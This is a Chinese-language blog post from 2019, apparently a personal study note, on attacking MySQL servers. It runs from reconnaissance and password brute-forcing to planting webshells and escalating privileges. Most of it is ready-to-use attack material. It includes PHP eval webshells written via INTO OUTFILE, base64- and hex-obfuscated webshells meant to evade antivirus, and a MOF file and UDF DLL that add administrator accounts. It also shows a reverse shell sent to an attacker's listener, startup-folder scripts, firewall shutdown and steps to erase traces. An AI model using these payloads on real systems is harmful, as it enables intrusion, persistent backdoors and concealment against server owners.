2019-07-31Mysql滲透和利用學習

1、Mysql信息收集

1.1主機收集3306端口的主機信息

1.2版本信息的收集

1.3數據庫管理信息收集

1.4msf信息收集模塊

2、Mysql密碼獲取

2.1暴力破解

2.2源代碼泄漏

2.3文件包含(本地文件包含)

2.4其它情況

3、Mysql獲取webshell(利用核心 :) )

3.1phpmyadmin? root賬號獲取webshell

A、直接讀取后門文件(已有后面情況)

B、查詢select直接導出一句話后門

C、創(chuàng)建數據庫導出一句話后門

D、可執(zhí)行命令方式

E、過殺毒軟件方式

F、直接導出加密webshell

G、CMS系統(tǒng)獲取webshell

H、general_log_file獲取webshell

I、sqlmap注入點獲取webshell

4、Mysql提權

4.1mof提權

4.2msf直接mof提權

4.3UDF提權

1.UDF提權條件

2.提權方法

3.webshell下udf提權

4.Mysql提權綜合利用工具

5.無法獲取webshell提權

6、sqlmap直連數據庫提權

7、msf? udf提權

8、啟動項提權

9.Msf其它相關漏洞提權

10.mysql密碼破解

參考(https://www.ddosi.com/b147/

1、Mysql信息收集

1.1主機收集3306端口的主機信息

nmap端口探測: nmap -p3306? 192.168.0.1-254

1.2版本信息的收集

(1)msf查看版本信息:auxiliary/scanner/mysql/mysql_version 模塊.

掃描主機 192.168.0.100 為例:操作命令如下

use auxiliary/scanner/mysql/mysql_version

set RHOSTS 192.168.0.100

run

(2)mysql查詢版本命令

select @@version;

select version();

? (3)sqlmap通過注入點確定信息

? sqlmap -u url --dbms mysql

(4)phpmyadmin管理頁面登錄后查看localhost->變量->服務器變量和設置中的version參數值。(為操作過待驗證)


1.3數據庫管理信息收集

mysql的管理工具或者是web頁面多種,navicate、phpadmin等等管理。

這些工具有的會直接保存配置信息,這些信息包含數據庫服務器地址和數據庫用戶名以及密碼,通過嗅探或者破解配置文件可以獲取密碼等信息

1.4msf信息收集模塊

(1)mysql哈希值枚舉(驗證的時候第一次的錯誤的,第二次的正確的密碼)

use? auxiliary/scanner/mysql/mysql_hashdump

set RHOSTS 192.168.0.100

set USERNAME root

set PASSWORD root

run

? (2)獲取admin相關信息

獲取數據庫版本,操作系統(tǒng)名稱,架構,數據庫目錄,數據庫用戶以及密碼哈希值。


use auxiliary/admin/mysql/mysql_enum

set RHOSTS 192.168.0.100

set USERNAME root

set PASSWORD root

run

(3)執(zhí)行mysql語句,連接成功后可以在msf執(zhí)行sql語句,跟sqlmap的--sql-shell模塊類似

use auxiliary/admin/mysql/mysql_sql

set RHOSTS 192.168.0.100

set USERNAME root

set PASSWORD root

set SQL show databases;

run

(4)將mysql_schem導出到本地 /root/.msf4/loot/文件夾下

use auxiliary/scanner/mysql/mysql_schemadump

use auxiliary/admin/mysql/mysql_sql

set RHOSTS 192.168.0.100

set USERNAME root

set PASSWORD root

run

將mysql_schem導出到本地 /root/.msf4/loot/文件夾下-文件的具體表的結構

(5)文件枚舉和目錄可寫信息枚舉

auxiliary/scanner/mysql/mysql_file_enum

auxiliary/scanner/mysql/mysql_writable_dirs

沒有測試成功過,需要定義枚舉目錄和相關文件.(需要更多的相關的目錄字典)

2、Mysql密碼獲取

2.1暴力破解

(1)網頁在線連接爆破

可以使用burpsuite(https://portswigger.net/burp/)和phpMyAdmin(http://pan.baidu.com/s/1c1LD6co)多線程批量破解工具.

(2)msf通過命令行進行暴力破解

msf破解mysql密碼模塊auxiliary/scanner/mysql/mysql_login

對于的很多參數use auxiliary/scanner/mysql/mysql_login

msf5 auxiliary(scanner/mysql/mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

? Name? ? ? ? ? ? ? Current Setting? Required? Description

? ----? ? ? ? ? ? ? ---------------? --------? -----------

? BLANK_PASSWORDS? false? ? ? ? ? ? no? ? ? ? Try blank passwords for all users

? BRUTEFORCE_SPEED? 5? ? ? ? ? ? ? ? yes? ? ? How fast to bruteforce, from 0 to 5

? DB_ALL_CREDS? ? ? false? ? ? ? ? ? no? ? ? ? Try each user/password couple stored in the current database

? DB_ALL_PASS? ? ? false? ? ? ? ? ? no? ? ? ? Add all passwords in the current database to the list

? DB_ALL_USERS? ? ? false? ? ? ? ? ? no? ? ? ? Add all users in the current database to the list

? PASSWORD? ? ? ? ? ? ? ? ? ? ? ? ? no? ? ? ? A specific password to authenticate with

? PASS_FILE? ? ? ? ? ? ? ? ? ? ? ? ? no? ? ? ? File containing passwords, one per line

? Proxies? ? ? ? ? ? ? ? ? ? ? ? ? ? no? ? ? ? A proxy chain of format type:host:port[,type:host:port][...]

? RHOSTS? ? ? ? ? ? ? ? ? ? ? ? ? ? yes? ? ? The target address range or CIDR identifier

? RPORT? ? ? ? ? ? 3306? ? ? ? ? ? yes? ? ? The target port (TCP)

? STOP_ON_SUCCESS? false? ? ? ? ? ? yes? ? ? Stop guessing when a credential works for a host

? THREADS? ? ? ? ? 1? ? ? ? ? ? ? ? yes? ? ? The number of concurrent threads

? USERNAME? ? ? ? ? ? ? ? ? ? ? ? ? no? ? ? ? A specific username to authenticate as

? USERPASS_FILE? ? ? ? ? ? ? ? ? ? ? no? ? ? ? File containing users and passwords separated by space, one pair per line

? USER_AS_PASS? ? ? false? ? ? ? ? ? no? ? ? ? Try the username as the password for all users

? USER_FILE? ? ? ? ? ? ? ? ? ? ? ? ? no? ? ? ? File containing usernames, one per line

? VERBOSE? ? ? ? ? true? ? ? ? ? ? yes? ? ? Whether to print output for all attempts

對單一主機僅僅需要設置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它參數根據實際情況進行設置

(1)場景A:對內網獲取root某一個口令后,擴展?jié)B透

use auxiliary/scanner/mysql/mysql_login

set RHOSTS 192.168.0.1-254

set password root

set username root

run

執(zhí)行后對192.168.0.1-254進行mysql密碼掃描驗證

(2)場景B:使用密碼字典進行掃描

use auxiliary/scanner/mysql/mysql_login

set RHOSTS? 192.168.0.1-254

set pass_file /tmp/password.txt

set username root

run

(3)使用nmap掃描并破解密碼

A、對某一個IP或者IP地址段進行nmap默認密碼暴力破解并掃描

nmap --script=mysql-brute 192.168.0.100

nmap --script=mysql-brute 192.168.0.1-254

B、使用root賬號root密碼進行mysql密碼驗證并掃描獲取指定IP地址的端口信息以及mysql數據庫相關信息

nmap -sV --script=mysql-databases --script-args mysqluser=root,mysqlpass=root 192.168.0.100

C、檢查root空口令

nmap --script mysql-empty-password 192.168.0.100

(4)使用hscan工具對mysql口令進行掃描,需要設置掃描IP地址段以及數據庫口令字典及用戶名字典。

https://github.com/search?q=hscan

2.2源代碼泄漏

(1)網站源代碼備份文件(敏感文件 jdbc的備份、Java的xml配置文件)

一些網站源代碼文件中會包含數據庫連接文件,通過查看這些文件可以獲取數據庫賬號和密碼。一般常見的數據庫連接文件為config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘雞可以自定義網站等名稱對zip/rar/tar/tar.gz/gz/sql等后綴文件進行掃描。

(2)配置備份文件(bak文件)

使用ultraedit、Editplus等編輯文件編輯數據庫配置文件后,會留下bak文件

2.3文件包含(本地文件包含)

本地文件包含漏洞可以包含文件,通過查看文件代碼獲取數據庫配置文件,進而讀取數據庫用戶名和密碼。

2.4其它情況

有些軟件會將IP地址、數據庫用戶名和密碼寫進程序中,運行程序后,通過cain軟件進行嗅探,可以獲取數據庫密碼。另外Mysql客戶端管理工具有的管理員會建立連接記錄,這些連接記錄保存了用戶名、密碼和連接IP地址或者主機名,通過配置文件或者嗅探可以獲取用戶名和密碼。

就是客戶端保存密碼、還有一些注釋里面的密碼。

3、Mysql獲取webshell(利用核心 :) )

3.1phpmyadmin? root賬號獲取webshell

MysqlRoot賬號通過phpMyAdmin獲取webshell的思路,主要有下面幾種方式:

A、直接讀取后門文件(已有后面情況)

通過程序報錯、phpinfo函數、程序配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,因此在目錄下留有后門文件通過load_file直接讀取。

B、查詢select直接導出一句話后門

前提需要知道網站的真實物理路徑,例如呼求偶真實路徑/var/www或者(E:/www/),則可以通過執(zhí)行以下查詢,來獲取一句話后門文件cmd.php

select '<?php @eval($_POST[thelostworld]);?>'INTO OUTFILE '/var/www/shell.php'

C、創(chuàng)建數據庫導出一句話后門

在查詢窗口直接執(zhí)行以下代碼即可,跟B原理類似

CREATE TABLE `mysql`.`thelostworld` (`temp` TEXT NOTNULL );

INSERT INTO `mysql`.`thelostworld` (`temp` ) VALUES('<?php @eval($_POST[thelostworld]);?>');

SELECT `temp` FROM `thelostworld` INTO OUTFILE'/var/www/shell.php';

DROP TABLE IF EXISTS `thelostworld`;

D、可執(zhí)行命令方式

創(chuàng)建執(zhí)行命令形式的shell,但前提是對方未關閉系統(tǒng)函數。該方法導出成功后可以直接執(zhí)行DOS命令,使用方法:www.xxx.com/shell.php?cmd=(cmd=后面直接執(zhí)行dos命令)。

select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE '/var/www/shell.php'

另外在linux下可以導出直接執(zhí)行命令的shell:

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

http://localhost/shell.php?c=cat%20/etc/passwd

E、過殺毒軟件方式

通過后臺或者存在上傳圖片的地方,上傳圖片publicguide.jpg,內容如下:

<?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>

然后通過圖片包含temp.php,導出webshell。

select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE '/varwww/shell.php'

一句話后門密碼:antian365

F、直接導出加密webshell

一句話后門文件密碼:pp64mqa2x1rnw68,執(zhí)行以下查詢直接導出加密webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改D:/WEB/IPTEST/22.php。

select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'

注意:

也可以使用http://tool.lu/hexstr/網站的代碼轉換來實現,將需要導出的文件代碼復制到網站的字符串中,通過字符串轉成十六進制,將十六進制字符串放入unhex函數進行查詢即可:

select unhex('十六進制字符串') into dumpfile 'D:/WEB/shell.php'

G、CMS系統(tǒng)獲取webshell

有些情況下無法獲取網站的真實路徑,則意味著無法直接導出一句話webshell,可以通過CMS系統(tǒng)管理賬號登錄系統(tǒng)后,尋找漏洞來突破,例如dedecms則可以通過破解管理員賬號后直接上傳文件來獲取webshell。Discuz!的UC_key可以直接獲取webshell。甚至某些系統(tǒng)可以直接上傳php文件。下面是一些CMS系統(tǒng)滲透的技巧:

(1)dedecms系統(tǒng)的密碼有直接md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最后1位,然后對剩余的值進行md5解密即可;

(2)phpcms v9版本的密碼需要加salt進行破解,需要選擇破解算法md5(md5($pass).$salt)進行破解。

(3)Discuz!論壇帳號保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如a0513df9929afc972f024fa4e586e829:399793。

H、general_log_file獲取webshell

(1)查看genera文件配置情況

show global variables like "%genera%";


(2)關閉general_log

set global general_log=off;

(3)通過general_log選項來獲取webshell

set global general_log='on';

SET global general_log_file='/var/www/cmd.php';

在查詢中執(zhí)行語句:

SELECT '<?php assert($_POST["cmd"]);?>';

Shell為cmd.php,一句話后門,密碼為cmd。

I、sqlmap注入點獲取webshell

sqlmap注入點獲取webshell的前提是具備寫權限,一般是root賬號,通過執(zhí)行命令來獲取

sqlmap -u url--os-shell echo "<?php @eval($_POST['c']);?>" >/data/www/shell.php

4、Mysql提權

4.1mof提權

(1)Webshell上傳mof文件提權

MySQL Root權限MOF方法提權是來自國外Kingcope大牛發(fā)布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083),簡稱mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規(guī)范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法1:運行 MOF 文件指定為命令行參數 Mofcomp.exe 文件。

方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。

方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三種方法僅為向后兼容性與早期版本的 WMI提供,并因為此功能可能不會提供在將來的版本后,不應使用。注意使用MOF方法提權的前提是當前Root帳號可以復制文件到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失?。?/p>

該漏洞的利用前提條件是必須具備mysql的root權限,在Kingcope公布的0day中公布了一個pl利用腳本。

perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555

192.168.2.100為mysql數據庫所在服務器,mysql口令為空,反彈到192.168.2.150的5555端口上。

(2)生成nullevt.mof文件

將以下代碼保存為nullevt.mof文件

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\Cimv2";

Name? = "filtP2";

? ? Query = "Select \ From __InstanceModificationEvent "

? ? ? ? ? ? "Where TargetInstance Isa \"Win32_LocalTime\" "

? ? ? ? ? ? "And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

? ? Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

? ? "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";

};

instance of __FilterToConsumerBinding

{

? ? Consumer? = $Consumer;

? ? Filter = $EventFilter;

};

(3)通過Mysql查詢將文件導入

執(zhí)行以下查詢語句,將上面生成的nullevt.mof導入到c:\windows\system32\wbem\mof\目錄下在windows7中默認是拒絕訪問的。導入后系統(tǒng)會自動運行,執(zhí)行命令。

selectload_file('C:\RECYCLER\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

4.2msf直接mof提權

Msf下的exploit/windows/mysql/mysql_mof模塊提供了直接Mof提權,不過該漏洞成功跟操作系統(tǒng)權限和Mysql數據庫版本有關,執(zhí)行成功后會直接反彈shell到meterpreter。

use exploit/windows/mysql/mysql_mof

set rhost 192.168.0.100 //設置需要提權的遠程主機IP地址

set rport 3306 //設置mysql的遠程端口

set password root //設置mysql數據庫root密碼

set username root //設置mysql用戶名

options //查看設置

run 0

技巧:

要是能夠通過網頁連接管理(phpmyadmin),則可以修改host為%并刷新權限后,則可以通過msf等工具遠程連接數據庫。默認root等賬號不允許遠程連接,除非管理員或者數據庫用戶自己設置。

方法1:本地登入mysql,更改 mysql數據庫里的 user 表里的 host項,將localhost改為%

use mysql;

update user set host = '%' where user = 'root';

FLUSH PRIVILEGES ;

select host, user from user;

方法2:直接授權(推薦)

從任何主機上使用root用戶,密碼:youpassword(你的root密碼)連接到mysql服務器:

# mysql -u root -proot

GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;

FLUSH PRIVILEGES;

推薦重新增加一個用戶,在實際測試過程中發(fā)現很多服務器使用root配置了多個地址,修改后可能會影響實際系統(tǒng)的運行。在實際測試過程中因此建議新增一個用戶,授權所有權限,而不是直接更改root配置。

4.3UDF提權

UDF提權是利用MYSQL的自定義函數功能,將MYSQL賬號轉化為系統(tǒng)system權限,其利用條件是目標系統(tǒng)是Windows(Win2000,XP,Win2003);擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創(chuàng)建和拋棄函數,有root賬號密碼

Windows下UDF提權對于Windows2008以下服務器比較適用,也即針對Windows2000、Windows2003的成功率較高。

1.UDF提權條件

(1)Mysql版本大于5.1版本udf.dll文件必須放置于MYSQL安裝目錄下的lib\plugin文件夾下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。

(3)掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創(chuàng)建和拋棄函數,一般以root賬號為佳,具備`root賬號所具備的權限的其它賬號也可以。

(4)可以將udf.dll寫入到相應目錄的權限。

2.提權方法

(1)獲取數據庫版本、數據位置以及插件位置等信息

select version();//獲取數據庫版本

select user();//獲取數據庫用戶

select @@basedir ;//獲取安裝目錄

show variables like '%plugins%';? //尋找mysql安裝路徑

操作截圖:

(2)導出路徑

C:\Winnt\udf.dll? ? Windows 2000

C:\Windows\udf.dll? Windows2003(有的系統(tǒng)被轉義,需要改為C:Windowsudf.dll)

MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創(chuàng)建自定義函數。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,并在安裝目錄下創(chuàng)建libplugin文件夾,然后將udf.dll文件導出到該目錄即可。

在某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,網上大牛發(fā)現利用NTFS ADS流來創(chuàng)建文件夾的方法:

select @@basedir;? //查找到mysql的目錄

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';? //利用NTFS ADS創(chuàng)建lib目錄

select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創(chuàng)建plugin目錄

執(zhí)行成功以后就會plugin目錄,然后再進行導出udf.dll即可。

(3)創(chuàng)建cmdshell 函數,該函數叫什么名字在后續(xù)中則使用該函數進行查詢

create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;

(4)執(zhí)行命令:

select sys_eval(‘whoami’);

一般情況下不會出現創(chuàng)建不成功哦。

連不上3389可以先停止windows防火墻和篩選

select sys_eval(‘net stop policyagent’);

select sys_eval(‘net stop sharedaccess’);

udf.dll下常見函數:

cmdshell? 執(zhí)行cmd;

downloader? 下載者,到網上下載指定文件并保存到指定目錄;

open3389? ? 通用開3389終端服務,可指定端口(不改端口無需重啟);

backshell? 反彈Shell;

ProcessView 枚舉系統(tǒng)進程;

KillProcess 終止指定進程;

regread? ? 讀注冊表;

regwrite? ? 寫注冊表;

shut? ? ? ? 關機,注銷,重啟;

about? ? ? 說明與幫助函數;

具體用戶示例:

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

(5)清除痕跡

drop function cmdshell;//將函數刪除

刪除udf.dll文件以及其它相關入侵文件及日志。

(6)常見錯誤

1290 – The MySQL server is running with the –secure-file-priv option so it cannot execute this statement

在my.ini或者mysql.cnf文件中注銷 (使用#號) 包含secure_file_priv的行(SHOW VARIABLES LIKE "secure_file_priv")。

1123 – Can’t initialize function ‘backshell’; UDFs are unavailable with the –skip-grant-tables option

需要將my.ini中的skip-grant-tables選項去掉。

3.webshell下udf提權

通過集成udf提權的webshell輸入數據庫用戶名及密碼以及數據庫服務器地址或者IP通過連接后導出進行提權。

4.Mysql提權綜合利用工具

v5est0r 寫了一個Mysql提權綜合利用工具(https://github.com/thelostworldFree/Python_FuckMySQL

(1)自動導出你的backdoor和mof文件

(2)自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權

(3)導出LPK.dll文件,劫持系統(tǒng)目錄提權

(4)寫啟動項提權

UdF自動提權:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf

LPK劫持提權:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk

啟動項提權:

python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權

5.無法獲取webshell提權

1.連接mysql

(1)mysql.exe -h ip -uroot -p

(2)phpmyadmin

(3)Navicat for MySQL

2.查看數據庫版本和數據路徑

SELECT VERSION();

Select @@datadir;

5.1以下版本,將dll導入到c:/windows或者c:/windows/system32/

5.1以上版本 通過以下查詢來獲取插件路徑:

SHOW VARIABLES WHERE Variable_Name LIKE "%dir";

show variables like '%plugin%' ;

select load_file('C:/phpStudy/Apache/conf/httpd.conf')

select load_file('C:/phpStudy/Apache/conf/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')

select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')

select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

3.修改mysql.txt

Mysql.txt為udf.dll的二進制文件轉成十六進制代碼。

(1)先執(zhí)行導入ghost表中的內容

修改以下代碼的末尾代碼 select backshell(“YourIP”,4444);

(2)導出文件到某個目錄

select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';

select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';

select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';

select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';

select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'

select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';

select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');

select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

(3)查看FUNCTION中是否存在cmdshell和backshell

存在則刪除:

drop FUNCTION cmdshell;//刪除cmdshell

drop FUNCTION backshell;//刪除backshell

創(chuàng)建backshell:

CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //創(chuàng)建backshell

在具備獨立主機的服務器上執(zhí)行監(jiān)聽:

nc -vv -l -p 44444

執(zhí)行查詢:

select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和端口

4.獲取webshell后添加用戶命令

注意如果不能直接執(zhí)行,則需要到c:\windows\system32\下執(zhí)行

net user antian365 www.xianzhi.aliyun.com /add

net localgroup administrators antian365

6、sqlmap直連數據庫提權

Sqlmap直接連接數據庫提權,需要有寫入權限和root賬號及密碼,命令如下:

(1)連接數據庫

sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

(2)選擇操作系統(tǒng)的架構,32位操作系統(tǒng)選擇1,64位選擇2.

(3)自動上傳udf或提示os-shell

(4)執(zhí)行whomai命令如果獲取系統(tǒng)權限,則表示提權成功。

7、msf? udf提權

Kali滲透測試平臺下執(zhí)行(kali下載地https://www.kali.org/downloads/

msfconsole

use exploit/windows/mysql/mysql_payload

options

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run 0或者exploit

msf下udf提權成功率并不高,跟windows操作系統(tǒng)版本,權限和數據庫版本有關,特別是secure-file-priv選項,如果有該選項基本不會成功。

8、啟動項提權

1.創(chuàng)建表并插入vbs腳本到表中

依次使用以下命令:

show databases ;

use test;

show tables;

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " );

select \ from a;

2.導出vbs腳本到啟動

使用以下命令將剛才在a表中創(chuàng)建的vbs腳本導出到啟動選項中。

select \ from a into outfile "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\a.vbs";

導入成功后,系統(tǒng)重新啟動時會自動添加密碼為“1”且用戶名稱為“1”的用戶到管理員組中。在實際使用過程中該腳本成功執(zhí)行的幾率比較低,有時候會出現不能導出的錯誤.

推薦使用以下腳本:

show databases ;

use test;

show tables;

create table b (cmd text);

insert into b values ("net user Aspnet123545345! /add");

insert into b values ("net localgroup administrators Aspnet /add");

insert into b values ("del b.bat");

select? from b into outfile "C:\Documents and Settings\All Users\「開始」菜單\程序\啟動\b.bat";

該腳本執(zhí)行后雖然會閃現Dos窗口,如果有權限導入到啟動選項中,則一定會執(zhí)行成功,在虛擬機中通過MySQL連接器連接并執(zhí)行以上命令后,在C:\Documents and Settings\All Users\「開始」菜單\程序\啟動目錄中會有剛才導出的b.bat腳本文件

說明

在不同的操作系統(tǒng)中C:\Documents and Settings\All Users\「開始」菜單\程序\啟動目錄文件名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本操作系統(tǒng)則其插入的代碼為:

select? from b into outfile "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\b.bat";

Windows 2008 Server的啟動目錄為:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs

其vbs方法可以參考如下寫法:

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );

select \ from a into outfile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs";

3.msf下模塊exploit/windows/mysql/mysql_start_up提權

use exploit/windows/mysql/mysql_start_up

set rhost 192.168.2.1

set rport 3306

set username root

set password 123456

run

msf下mysql_start_up提權有一定的幾率,對英文版系統(tǒng)支持較好。

9.Msf其它相關漏洞提權

1.Mysql身份認證漏洞及利用(CVE-2012-2122)

當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由于不正確的處理,會導致即便是memcmp()返回一個非零值,也會使MySQL認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫。按照公告說法大約256次就能夠蒙對一次。受影響的產品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.

MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

